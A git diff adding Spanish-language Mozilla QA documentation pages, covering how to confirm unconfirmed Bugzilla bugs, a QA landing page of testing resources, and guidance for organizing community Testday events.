href="https://bugzilla.mozilla.org/buglist.cgi?bug_severity=blocker;bug_severity=critical;bug_severity=major;resolution=---;op_sys=Windows%20NT;op_sys=Windows%202000;op_sys=Windows%20XP;op_sys=Windows%20Server%202003;op_sys=Windows%20Server%202008;op_sys=Windows%20Vista;op_sys=Windows%207;op_sys=Windows%208;op_sys=Windows%208%20Metro;query_format=advanced;bug_status=UNCONFIRMED;product=Firefox;list_id=3438239" title="https://bugzilla.mozilla.org/buglist.cgi?bug_severity=blocker;bug_severity=critical;bug_severity=major;resolution=---;op_sys=Windows%20NT;op_sys=Windows%202000;op_sys=Windows%20XP;op_sys=Windows%20Server%202003;op_sys=Windows%20Server%202008;op_sys=Windows%20Vista;op_sys=Windows%207;op_sys=Windows%208;op_sys=Windows%208%20Metro;query_format=advanced;bug_status=UNCONFIRMED;product=Firefox;list_id=3438239">Sólo Windows</a> - <a class="link-https" href="https://bugzilla.mozilla.org/buglist.cgi?bug_severity=blocker;bug_severity=critical;bug_severity=major;resolution=---;op_sys=All;query_format=advanced;bug_status=UNCONFIRMED;product=Firefox;list_id=3438253" title="https://bugzilla.mozilla.org/buglist.cgi?bug_severity=blocker;bug_severity=critical;bug_severity=major;resolution=---;op_sys=All;query_format=advanced;bug_status=UNCONFIRMED;product=Firefox;list_id=3438253">Todos</a> (notar que "Todos" no significa bugs sin confirmar reportados en la "Plataforma: Todos", sino que significa cada bug inconfirmado).</li>
+ <li>Por favor revisa primero la lista de bugs que correspondan a tu plataforma. Es recomendable clickear en el botón "Sev" para ordenar por orden de severidad. </li>
+</ul>
+<p>Es recomendable usar los links Atrás/Adelante (Back/Forward) para moverse dentro de las listas, en vez de recargarlas cada vez que quieras buscar un nuevo bug.</p>
+<h2 id="Get_the_Right_Privileges" name="Get_the_Right_Privileges">Consigue los privilegios adecuados</h2>
+<p>Para poder confirmar los bugs necesitas el privilegio "Puedes confirmar".</p>
+<p>Si has sido activo en Bugzilla, lo mas seguro es que tengas este privilegio. Revisa tus <a class="link-https" href="https://bugzilla.mozilla.org/userprefs.cgi?tab=permissions" style="line-height: 1.5;" title="https://bugzilla.mozilla.org/userprefs.cgi?tab=permissions">Preferencias en Bugzilla</a>. Si tus permisos dicen "Puedes confirmar un bug" ("Can confirm a bug"), entonces estas listo. </p>
+<p>Si no tienes este privilegio, entonces puedes solicitarlo siguiendo <a href="https://bugzilla.mozilla.org/page.cgi?id=get_permissions.html" style="line-height: 1.5;" title="https://bugzilla.mozilla.org/page.cgi?id=get_permissions.html">estos pasos</a>.</p>
+<h2 id="Confirm_the_Unconfirmed" name="Confirm_the_Unconfirmed">Confirma lo inconfirmado</h2>
+<p>1. <strong>Intenta determinar si el bug se encuentra duplicado.</strong> Use <a class="link-https" href="https://bugzilla.mozilla.org/query.cgi">este método</a> para buscar en la base de datos. </p>
+<p>2. <strong>Intente reproducir el bug.</strong>Si es posible reproducir el bug, entonces anota el hecho de que puedes reproducirlo, y agrega este comentario al campo de <strong>Comentarios Adicionales:</strong></p>
+<pre class="eval">1. Tu versión de Mozilla (el título de la barra del navegador)
+2. Tu plataforma
+3. Tu sistema operativo
+</pre>
+<p>Si no puedes reproducir el bug, entonces anota en los comentarios de que intentaste reproducirlo y no pudiste. Si otros también están de acuerdo de que el bug es irreproducible, puedes marcarlo como INVÁLIDO (INVALID) o WORKSFORME, y decirle al que lo reportó que lo reabra si puede proporcionar pasos para reproducirlo en la nueva versión. Un texto ejemplo para los problemas coumunes de bugs puede ser encontrado al fondo de <a class="external" href="http://www-archive.mozilla.org/quality/browser/prescreening.html" style="line-height: 1.5; text-decoration: underline;">esta</a> página.</p>
+<p>3. <strong>Has que el bug sea fácil de entender.</strong>Mira los<span style="line-height: 1.5;"> </span><a href="/En/Bug_writing_guidelines" style="line-height: 1.5;" title="En/Bug writing guidelines">lineamientos para la Redacción de Bugs</a> para saber el tipo de información que es de ayuda en un bug, incluyendo pasos para la reproducción y una buena descripción.</p>
+<p>4. <strong>Verifica el Producto y el Componente.</strong> Si el reporte de bug es clasificado incorrectamente, muévelo hacia el correcto Producto y Componente. Asegúrate de clickear en el botón que dice "reasignar el bug al dueño del componente seleccionado" ("reassign the bug to owner of the selected component.")</p>
+<p>5. <strong>Verifica el resumen del bug.</strong> Actualiza el resumen para que sea descriptivo, y contenga las suficientes palabras claves para que las personas que lo busquen lo encuentren.</p>
+<p>6. <strong>Cambia el estatus a NUEVO.</strong> Deberías confirmar un bug cuando <em>no está en el Componente general.</em></p>
+<h2 id="Optional.2C_but_Helpful" name="Optional.2C_but_Helpful">Opcional, pero de ayuda</h2>
+<ul>
+ <li><strong>Agrega Palabras Clave.</strong> Si estas familiarizado con las <a class="link-https" href="https://bugzilla.mozilla.org/describekeywords.cgi">palabras claves y sus significados</a>, por favor agrega las palabras claves que consideres correctas.</li>
+ <li><strong>Actualiza la <strong><a class="link-https" href="https://bugzilla.mozilla.org/page.cgi?id=fields.html#bug_severity" style="text-decoration: underline;">severidad</a> </strong></strong>según corresponda con las pautas de Bugzilla.</li>
+ <li><strong>Agrega un seguimiento de pila (<strong>stack trace</strong>)</strong>  para los bugs que generan crash.</li>
+ <li>Escribe un <a class="external" href="http://www.mozilla.org/newlayout/bugathon.html">caso de prueba reducido</a>.</li>
+ <li>Encuentra un URL que demuestre el problema.</li>
+</ul>
diff --git a/files/es/qa/index.html b/files/es/qa/index.html
new file mode 100644
index 0000000000..b8b4bf82af
--- /dev/null
+++ b/files/es/qa/index.html
@@ -0,0 +1,252 @@
+---
+title: Control de calidad de Mozilla (QA)
+slug: QA
+tags:
+  - Ayudar
+  - Calidad
+  - Landing
+  - Pruebas
+  - QA
+translation_of: Mozilla/QA
+---
+<div class="callout-box"><strong><a class="external" href="http://www.mozilla.org/quality/bug-writing-guidelines.html">Cómo escribir un buen bug</a></strong><br>
+Al seguir estos lineamientos, aseguras que tus bugs estén en la cima de la pila de trabajo de los ingenieros de Mozilla y por lo tanto, ayudas a resolverlos.</div>
+
+<p>Hay muchas cosas que puedes hacer para ayudar al proyecto Mozilla en el departamento de Control de Calidad (QA). No todas requieren saber programar, algunas tampoco requieren conocer HTML u otra tecnología Web. Si estás interesado en ayudarnos como testeador o en alguna otra actividad de QA, primero debes leer las siguientes páginas: <a class="external" href="http://www.mozilla.org/quality/">Mozilla Quality Assurance</a> y <a class="external" href="http://www.mozilla.org/quality/help/">Helping with Quality Assurance</a></p>
+
+<h2 id="Empezando">Empezando</h2>
+
+<ul class="card-grid">
+ <li><span>¿Cómo pueod ayudar a probar?</span>
+
+  <p>Hay muchas maneras de convertirte en <a href="/en-US/docs/Mozilla/QA/How_can_I_help_test_">community contributor</a> para el equipo de calidad Mozilla.</p>
+ </li>
+ <li><span>Bugs</span>
+  <p>Todos los proyectos Mozilla usan <a href="https://bugzilla.mozilla.org/">Bugzilla</a> para rastrear bugs. Aprende cómo <a href="/en-US/docs/Mozilla/QA/Bug_writing_guidelines" title="/en-US/docs/Mozilla/QA/Bug_writing_guidelines">reportar un bug</a> y conoce <a href="/en-US/docs/What_to_do_and_what_not_to_do_in_Bugzilla">qué hacer en Bugzilla</a>.</p>
+ </li>
+ <li><span>Eventos</span>
+  <p>Particiopa en nuestro <a href="/en-US/docs/Mozilla/QA/Bug_Verification_Day">Bug Verification Day</a> semanal o <a href="/en-US/docs/Mozilla/QA/Bug_Triage_Day">Bug Triage Day</a>. ¡Incluso puedes <a href="/en-US/docs/Mozilla/QA/Organizing_a_Testday">organizar un testday</a> para tu comunidad local!</p>
+ </li>
+ <li><span>Matrix</span>
+  <p><a href="https://wiki.mozilla.org/Matrix">Empieza con Matrix</a>, la primera vía de comunicación para miembros de la comunidad Mozilla.</p>
+ </li>
+</ul>
+
+<h2 id="Bugs">Bugs</h2>
+
+<div class="row topicpage-table">
+<div class="section">
+<h3 id="Reportando_bugs">Reportando bugs</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Bugzilla">Bugzilla</a></dt>
+ <dd>Todos los proyectosMozilla usan <a href="https://bugzilla.mozilla.org/">Bugzilla</a> para rastrear bugs. Necesitarás <a href="https://bugzilla.mozilla.org/createaccount.cgi">crear una cuenta con Bugzilla</a> en orden para reportar bugs y priorizarlos.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Bug_writing_guidelines" title="/en-US/docs/Mozilla/QA/Bug_writing_guidelines">Guías de redacción de bugs</a></dt>
+ <dd>Entre más efectivamente se reporte un bug, es más probable que un ingeniero puedo arreglarlo. Siguiendo estas guías, ayudas a asegurar que yus bugs sean nototios en el montón de los ingenieros Mozilla, y sean arreglados.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/A_Bugs_Life" title="/en-US/docs/Mozilla/QA/A_Bugs_Life">La vida de un bug</a></dt>
+ <dd>Este tutorial te dara un vistazo del qué sucede en los estados que un bug pasará, así cómo va desde un estado al otro en su ciclo de vida. También explica el significado de banderas (flags)/términos usados en QA.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Filing_Crash_Bugs">Presentando <em>crash bugs</em></a></dt>
+ <dd>Este documento enlista las guías y consejos acerca de cómo redactar reported de un bug reports que rompe, de una manera que ayude a depurar y arreglar el asunto reportado.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h3 id="Catalogando_bugs">Catalogando bugs</h3>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/QA/Confirming_unconfirmed_bugs" title="en-US/docs/Confirming unconfirmed bugs">Confirmando bugs no confirmados</a></dt>
+ <dd>Identifica reportes de bugs útiles y cierra el resto.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Triaging_Bugs_for_Firefox" title="/en-US/docs/Mozilla/QA/Triaging_Bugs_for_Firefox">Catalogando bugs para Firefox</a></dt>
+ <dd>Información acerca del proceso completo de clasificación de bugs – desde procesar los bugs entrantes hasta detallar los pasos para recrear bugs.</dd>
+ <dt><a href="/en-US/docs/Screening_duplicate_bugs">Ocultando bugs duplicados</a></dt>
+ <dd>Ayuda a que los bugs sean más faciles de arrgelar al ocultar reportes entrantes acerca de duplicados.</dd>
+ <dt><a href="/en-US/docs/What_to_do_and_what_not_to_do_in_Bugzilla">Guías generales</a></dt>
+ <dd>Qué hacer y qué NO hacer en Bugzilla.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Pruebas_manuales">Pruebas manuales</h2>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/QA/Test_Case_Writing_Primer">Complementode la redacción de caso de prueba</a></dt>
+ <dd>Cómo escribir casos de prueba correctos</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt><a href="https://testrail.stage.mozaws.net/">TestRail</a></dt>
+ <dd>Casos de prueba del área de QA en Mozilla se encuentran en TestRail. Necesitarás una cuenta LDAP para ingresar y ejecutar casos de prueba. Aprende más en la <a href="https://wiki.mozilla.org/TestEngineering/Testrail">página wiki de TestRail</a>.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Pruebas_automatizadas">Pruebas automatizadas</h2>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/QA/Automated_testing" title="/en-US/docs/Mozilla/QA/Automated_testing">Automatización de pruebas en Mozilla</a></dt>
+ <dd>Documentación acerca de la creación y uso de pruebas automatizadas para el código de Mozilla.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Running_automated_tests">Ejecutando pruebas automatizadas</a></dt>
+ <dd>
+ <p>Esta página enlista los pasos requeridos para ejecutar suites de pruebas automatizadas de Mozilla.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Developing_tests" title="en-US/docs/Developing_Tests">Desarrollando pruebas</a></dt>
+ <dd>Asegurar que cambios fúturos en Mozilla no vayan a dañar cosas que funcionan correctamente.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Avoiding_intermittent_oranges" title="en-US/docs/QA/Avoiding intermittent oranges">Evitar fallas intermitentes en pruebas</a></dt>
+ <dd>Sugerencias para hacer rus pruebas más confiables, de tal manera que ayudan a evitar fallas intermitentes y aleatorias en pruebas.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Test_Verification">Verificación de pruebas</a></dt>
+ <dd>Cuando una colección de cambios agrega una nueva prueba, o modifica una prueba existente, la verificación de pruebas (test verification,TV) de un grupo de pruebas realiza evaluación adicional que ayuda a encontrar fallas intermitentes en ñas pruebas modificadas tan pronto como es posible.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Mozharness_FAQ">Mozharness FAQ</a></dt>
+ <dd>Respuestas a preguntas comunes de Mozharness.</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/QA/Robocop" title="/en-US/docs/Mozilla/QA/Robocop">Robocop</a></dt>
+ <dd>Robocop es el sistema de automatización de pruebas usado en Firefox para Android. Aprende sus <a href="/en-US/docs/Mozilla/QA/Robocop/Code_style_guidelines">guías de estilo de codificación. </a></dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Marionette">Marionette</a></dt>
+ <dd>Conoce las pruebas de interfaz de usuario con Marionette.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/web-platform-tests">Pruebas de plataforma-web</a></dt>
+ <dd>Aprende cómo usar el  <a href="http://testthewebforward.org/docs/">sistema de pruebas Web en tiempo de ejecución</a> estándar de la industria, multi-navegador, multi-platforma para la organización <a href="https://www.w3.org/">W3C</a> usedo por Mozilla y otros para asegurar interoperabilidad entre navegadores.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/external-media-tests">Pruebas de Media externa</a></dt>
+ <dd>Empieza probando elementos de vídeo en HTML5u sando VideoPuppeteer, una colección de pruebas de <a href="/en-US/docs/Mozilla/QA/Marionette">Marionette</a> usada probar sitios como YouTube o Netflix.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Chrome_tests">Pruebas de cromo</a></dt>
+ <dd>Una prueba de cromo es básicamente una prueba de <a href="https://developer.mozilla.org/en-US/docs/Mochitest" title="en/Mochitest">Mochitest</a> corriendo con privilegios de cromo (código Javascript en la parte front-end del sistema Gecko).</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Ingeniería_de_calidad_Firefox">Ingeniería de calidad Firefox</h2>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/QA/Triaging_Bugs_for_Firefox" title="/en-US/docs/Mozilla/QA/Triaging_Bugs_for_Firefox">Catalogando bugs para Firefox</a></dt>
+ <dd>Información acerca del completo proceso de clasificación de <em>bugs </em>– desde el procesamiento de <em>bugs </em>entrantes hasta reducir los pasos para replicar un <em>bug</em>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/QA/Tips_and_Tricks">Consejos y trucos</a></dt>
+ <dd>Estos consejos y trucos harán tu vida más fácil cuando estés probando.</dd>
+</dl>
+<a href="/en-US/docs/Downloading_Nightly_or_Trunk_Builds">Descargando ramas de builds o nocturnos</a>
+
+<dl>
+ <dd>Cada 24 horas, un <em>build </em>"nocturno" es creado para que los <em>testers </em>de todo el mundo lo descarguen y prueben, reportando como van encontrando los defectos.</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Command_Line_Options">Opciones de línea de comandos</a></dt>
+ <dd>Opciones de la línea de comandos son usadas para especificar varios ajustes de arranque en Firefox.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Performance/Reporting_a_Performance_Problem">Reportando un problema de desempeño</a></dt>
+ <dd>Este artículo te guiará en el reporte de un problema de desempeño usando la <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Performance/Profiling_with_the_Built-in_Profiler">extensión Gecko Profiler</a>.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Projects/Crash_reporting">Informe de accidentes</a></dt>
+ <dd>Firefox incluye un sistema de código abierto para informar accidentes.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Firefox_para_Android">Firefox para Android</h2>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/QA/Mobile_Firefox">Firefox móvil</a></dt>
+ <dd>Firefox para Android es la versión móvil de Firefox con una apariencia nativa de Android.</dd>
+ <dt><a href="/en-US/Firefox_for_Android/Compatibility_Testing">Pruebas de compatibilidad</a></dt>
+ <dd>Ayudanos a identificar sitios web que no funcionen bien en Firefox al reportar  las cuestiones especificas que encuentras en tu investigación.</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/QA/Fennec_Android:_Logging_with_the_Android_Debug_and_Logcat">Registrando con Android Debug Bridge y Logcat</a></dt>
+ <dd>Este artículo proveerá un recorrido en descargar y establecer un ambiente al cual se puede obtener acceso y ver los registros del sistema de Android.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Firefox_Mobile:_Enabling_the_Error_Console">Habilitando la Consola de Error</a></dt>
+ <dd>Vee el artículo Mozilla Hacks en <a class="external external-icon" href="https://hacks.mozilla.org/2012/08/remote-debugging-on-firefox-for-android/">Depurando Remotamente en Firefox para Android</a> para contenido web. Si necesitas depurar el mismo navegador Firefox  usa <a class="external external-icon" href="http://developer.android.com/tools/help/logcat.html">adb logcat</a> de Android.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Firefox_OS">Firefox OS</h2>
+
+<div class="row topicpage-table">
+<div class="section">
+<h3 id="Pruebas_manuales_2">Pruebas manuales</h3>
+
+<dl>
+ <dt><a href="/en-US/Firefox_OS/Simulator_vs_Emulator_vs_Device">Simulador vs Emulador vs Dispositivo</a></dt>
+ <dd>Éstas son las tres opciones cuando viene a conseguir un ambiente Firefox OS en orden para trabajar, o desarrollar para, Firefox OS.</dd>
+ <dt><a href="/en-US/Firefox_OS/Debugging">Depurando</a></dt>
+ <dd>Descubrir las diferentes herramientas a nuestra disposición para depurar tu código Firefox OS.</dd>
+ <dt><a href="/en-US/Firefox_OS/Developing_Firefox_OS/Filing_bugs_against_Firefox_OS">Reportando bugs</a></dt>
+ <dd>Este artículo proporciona una guía para archivar <em>bugs </em>acerca del proyecto Firefox OS, incluyendo Gaia y B2G.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h3 id="Plataforma_Gecko">Plataforma (Gecko)</h3>
+
+<dl>
+ <dt><a href="/en-US/Firefox_OS/Platform/Automated_testing">Pruebas Automatizadas</a></dt>
+ <dd>Aprende varios aspectos de pruebas Firefox OS, incluyendo ejecutar diferentes pruebas, automatización, y reporte y seguimiento de resultados.</dd>
+ <dt><a href="/en-US/Firefox_OS/Platform/Automated_testing/Gaia_performance_tests">Pruebas de desempeño Gaia</a></dt>
+ <dd>Este artículo proporciona información acerca de ejecutar pruebas de desempeño en Gaia, así como el cómo crear nuevas pruebas.</dd>
+ <dt><a href="/en-US/Firefox_OS/Platform/Feature_support_chart">Gráfico de soporte de funciones</a></dt>
+ <dd>Hay varios <em>builds </em>diferentes de Firefox OS que se pueden descargar o construir tú mísmo, y hay algunas diferencias entre los tipos de características disponibles en cada dispositivo.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Web_QA">Web QA</h2>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/QA/Reducing_testcases" title="en-US/docs/Reducing testcases">Refinando casos de prueba</a></dt>
+ <dd>Mejorando los reportes de defectos al convertir páginas web rotas en simples casos de prueba, los cuales pueden ayudar a desarrolladores entender el defecto y también pueden ser usados para crear pruebas automatizados.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Managing_Web_QA_XFails">Gestionando XFails</a></dt>
+ <dd>Uno de las tareas en marcha del departamento de Web QA es gestionar <em>xfails</em>. Este documento expliacrá que son las xfails, y describe los pasos que uno puede tomar para investigar y actualizarlos.</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/QA/Running_Web_QA_automated_tests">Ejecutar pruebas automatizadas</a></dt>
+ <dd>¿Así que estás interesadx en contribuir en los proyectos de automatización Mozilla Web QA pero no sabes por dónde empezar? Este documento te ayudará a preparar y ejecutar un conjunto de pruebas locales.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Glosario">Glosario</h2>
+
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Glossary/Smoke_Test">Smoke Test</a></dt>
+ <dd></dd>
+</dl>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://lists.mozilla.org/listinfo/dev-quality">Lista de correo</a></li>
+ <li><a href="https://quality.mozilla.org/">Blog</a></li>
+ <li><a href="/en-US/docs/tag/QA" title="en-US/docs/tag/QA">Ver todos los documentos con la etiqueta QA</a></li>
+ <li><a href="/en-US/docs/tag/QA:Tools" title="en-US/docs/tag/QA:Tools">Ver todos los documentos con la etiqueta QA:Tools</a></li>
+</ul>
diff --git a/files/es/qa/organizando_un_testday/index.html b/files/es/qa/organizando_un_testday/index.html
new file mode 100644
index 0000000000..25a0d5b818
--- /dev/null
+++ b/files/es/qa/organizando_un_testday/index.html
@@ -0,0 +1,219 @@
+---
+title: Organizando un Testday
+slug: QA/Organizando_un_Testday
+tags:
+  - Evento
+  - Organizando
+  - QA
+  - Testdays
+translation_of: Mozilla/QA/Organizing_a_Testday
+---
+<div class="note">
+<p>Esta página necesita una revisión técnica del Equipo QA de Mozilla en Q4 2014. (Asignada a Aaron Train.)</p>
+</div>
+
+<p>Por favor recuerda que lo mostrado en este artículo es solo una guía aproxmada. Cuanto mayor esfuerzo pongas en la preparación de un Testday, tendrás mayor probabilidad de éxito. Dá de tu parte, y de la comunidad, suficiente tiempo para preparar el evento. Sobre todo, experimenta y diviertete con tu Testday.</p>
+
+<h4 id="Planeando_Tu_Evento">Planeando Tu Evento</h4>
+
+<div>Lo siguiente debe ser hecho en no más de una semana antes de tu evento:</div>
+
+<div> </div>
+
+<ol>
+ <li>Una vez tengas un tema en mente, elige un día para agendar tu evento — revisa el <a href="https://quality.mozilla.org/events/">calendar on QMO</a> para ver la disonibilidad.</li>
+ <li>Crea un plan de pruebas para definir el criterio de éxito,  establecer un lugar designado para la suscripción de mentores, establece un esquema (ej., <a href="https://etherpad.mozilla.org/testday-20141024">past event test-plan</a>)</li>
+ <li>Publica y postea el evento en QMO (de ser necesario, preguntar al staff de QA en  IRC para asistencia) — una valiosa publicación debe contener una solicitud para  inscripción de tutoría y  enlaces a documentación disponible (ej., <a href="https://quality.mozilla.org/2014/09/volunteers-needed-for-testdays-relaunch-initiative/">see past event notice</a>)</li>
+ <li>Difunde tu evento — Seguir nuestras sugerencias de comunicación listadas abajo ayudará a difundir y publicar el evento.</li>
+ <li> Contar cno mentores para ayudar a facilitar y educar durante todo el evento — reunir información de contacto para asegurar la asistencia al evento.</li>
+</ol>
+
+<h4 id="El_Día_D">El Día "D"</h4>
+
+<ol>
+ <li>Asegurate que el tema del canal IRC esté actualizado para señalar a las personas al plan de pruebas.</li>
+ <li>Ser proactivo en dar la bienvenida a las personas y eliminar las barreras para que puedan constribuir - hacer preguntas e interactuar con las personas que se unen al canal.</li>
+ <li>Recomendar suscribirse al dev-quality y mozillians a los asistentes para notificaciones de futuros eventos.</li>
+ <li>Proporcionar una encuesta de opinión a los participantes, <a href="https://docs.google.com/forms/d/1ZPa-0g_jqfRQdhBLOJFLms9VudvjLjVGKOHeHpJNLyk/viewform">clonar o copiar este documento de ejemplo</a></li>
+</ol>
+
+<h4 id="Después_del_Evento">Después del Evento</h4>
+
+<ol>
+ <li>Proporcionar un post de seguimiento en tus canales de comunicación agradeciendo a quienes asistieron.</li>
+ <li>Planear un futuro evento.</li>
+</ol>
+
+<h4 id="Consejos_para_el_Éxito">Consejos para el Éxito</h4>
+
+<div>Lo siguiente es una lista de consejos con lo que esperamos que tu evento sea más exitoso.</div>
+
+<div> </div>
+
+<ul>
+ <li>Asegurate de tener suficiente mentores comprometidos con tu evento, de lo contrario podría resultar como desorganizado.</li>
+ <li>Asegurate de que el proyecto está listo para las pruebas; recuerda que la mayoría de las pruebas son sólo para usuarios de Firefox.</li>
+ <li>Cuanto más publicidad mayor será tu audiencia.</li>
+ <li>Date tiempo para preparar el material.</li>
+ <li>Dale al público tiempo suficiente para familiarizarse con el material necesario como requisito previo antes del evento.</li>
+ <li>Tener una revisión por partes del material de tu evento e intentar una actividad para probar el  ease of your ramp-up path</li>
+ <li>No temer de llegar a comunidades externas (especialmente para desarrollos relacionados con testdays)</li>
+</ul>
+
+<h4 id="Canales_de_Comunicación">Canales de Comunicación</h4>
+
+<p>Lo siguiente es una lista de varios canales de comunicación que deberiamos usar para anuncios. Elige los que veas conveniente.</p>
+
+<h5 id="Listas_de_Correo">Listas de Correo</h5>
+
+<ul>
+ <li>dev-quality: la lista de correos primaria de Mozilla QA</li>
+ <li>events: usarlo si tu evento incorpora reuniones físicas</li>
+</ul>
+
+<h5 id="Redes_Sociales">Redes Sociales</h5>
+
+<ul>
+ <li>Twitter: @MozillaQA es nuestra cuenta de Twitter</li>
+ <li>Facebook: MozillaQA es nuestra cuenta de Facebook. Toma en cuenta que publicaciones de Evento QMO son automáticamente sindicados a Facebook</li>
+ <li>Yammer</li>
+ <li>Google Plus</li>
+</ul>
+
+<h5 id="Foros">Foros</h5>
+
+<ul>
+ <li>Mozillazine: Comunidad que mantiene el Foro Mozilla</li>
+ <li>Reddit: <a href="http://reddit.com/r/firefox">http://reddit.com/r/firefox</a> — Comunidad activa de Firefox</li>
+</ul>
+
+<h5 id="Páginas_de_Reuniones">Páginas de Reuniones</h5>
+
+<ul>
+ <li>Mozilla Project Semanalmente Actualizada, <a href="https://wiki.mozilla.org/WeeklyUpdates">detalle de reuniones aquí</a></li>
+ <li>QA Team: Reunión pública QA, <a href="https://wiki.mozilla.org/QA/Team_Meeting">detalle de reunones aquí</a></li>
+</ul>
+
+<h5 id="Otros_Sitios_Web">Otros Sitios Web</h5>
+
+<ul>
+ <li><a href="http://forum.xda-developers.com/">XDA Forums</a></li>
+ <li><a href="http://www.softwaretestingclub.com/">Software Testing Club</a></li>
+</ul>
+
+<hr>
+<div class="note">
+<p>Esta página necesita una revisión técnica del equipo Mozilla QA Team in Q4 2014. (Asignado a Aaron Train.)  Este artículo ha sido creado de esta página de QMO: <a class="link-https" href="https://quality.mozilla.org/docs/testdays/roles-and-tips/">Roles and Tips</a></p>
+</div>
+
+<h2 id="Moderadores">Moderadores</h2>
+
+<p>Lo siguiente son algunos consejos para que los moderadores tengan un Testday exitoso.</p>
+
+<ul>
+ <li>Dar la bienvenida en cuanto se unan al canal</li>
+ <li>Pedirles que se registren en Mozillians.org</li>
+ <li>Pedirles que se descarguen la versión de prueba</li>
+ <li>Preguntarles sobre sus intereses y asignarles tareas específicas a realizar</li>
+ <li>Ofrecerse a responder preguntas</li>
+ <li>Tocar base con los testers si no has oído nada de ellos en los últimos 20 minutos más o menos</li>
+ <li>Agradece y anima a los testers cuando estén completando sus tareas</li>
+ <li>Agradece y anima a los testers antes cuando indiquen que se están yendo</li>
+ <li>Dile a la gente en otros canales sobre testday (#qa, #firefox, etc)</li>
+</ul>
+
+<h2 id="Colaboradores">Colaboradores</h2>
+
+<p>Lo siguiente son algunos consejos para que los colaboradores tengan un testday exitoso.</p>
+
+<ul>
+ <li>Hacer preguntas, cualquiera o todas las preguntas que tengas son válidas</li>
+ <li>No tener miedo de tropezar, lo que se espera es que aprendas algunas cosas nuevas</li>
+ <li>Lee sobre el plan de pruebas y provee documentación</li>
+ <li>Toma una versión e inicia las pruebas; sumérgete en ella</li>
+ <li>Ofrece ayuda a otros testers y responde preguntas una vez hayas aprendido las cosas</li>
+ <li>Suscribete en <a href="https://mozillians.org">Mozillians.org</a> para que podamos mantener contacto</li>
+ <li><strong>Ha fallado el testday?</strong> Acercate al organizador y ve cómo puedes ayudar después del evento</li>
+</ul>
+
+<div class="originaldocinfo">
+<h2 id="Información_Original_de_Documento">Información Original de Documento</h2>
+
+<ul>
+ <li>Autor(es): Anthony Hughes</li>
+ <li>última modificación: Febrero 3, 2012 a las 10:54 pm PST</li>
+</ul>
+</div>
+
+<hr>
+<div class="note">
+<p>Esta págna necesita una revisión técnica del Equipo Mozilla QA Team en Q4 2014. (Asignado a Aaron Train.) Este artículo ha sido creado de esta página de QMO: <a class="link-https" href="https://quality.mozilla.org/docs/testdays/testday-template/">Testday Template</a></p>
+</div>
+
+<h3 id="Págna_de_Evento_QMO"><a name="event"></a>Págna de Evento QMO</h3>
+
+<p>La semana antes al testday necesitamos crear una página de evento QMO.</p>
+
+<ul>
+ <li>Una vez te hayas logueado (Sí, necesitas estar autenticado) simplemente dá un clic a la izquierda para agregar un  <a href="https://quality.mozilla.org/wp-admin/post-new.php">nuevo post</a></li>
+ <li>El título debe indicar el tema y la fecha(ej. Firefox Aurora Bugday Mayo 6)</li>
+ <li>Comienza dando un pequeño resumen del tema, objetivos, y cuándo tendrá lugar el evento.</li>
+ <li>Dar algún conexto como un por qué este evento/actividad es necesario y valorado.</li>
+ <li>Dar algún estímulo para las personas que no tienen ninguna experiencia en asistir.</li>
+ <li>Enmarca el lenguaje de tu post con "haciendo Firefox mejor", muestrales el beneficio de su colaboración (no importa cuan grande o pequeña sea).</li>
+ <li>Provee un enlace de tu plan de pruebas, etherpad y mibbit URL para que las personas sin cliente IRC puedan unirse fácilmente.</li>
+ <li>Asegurate de agradecerles en la medida que van asistiendo.</li>
+</ul>
+
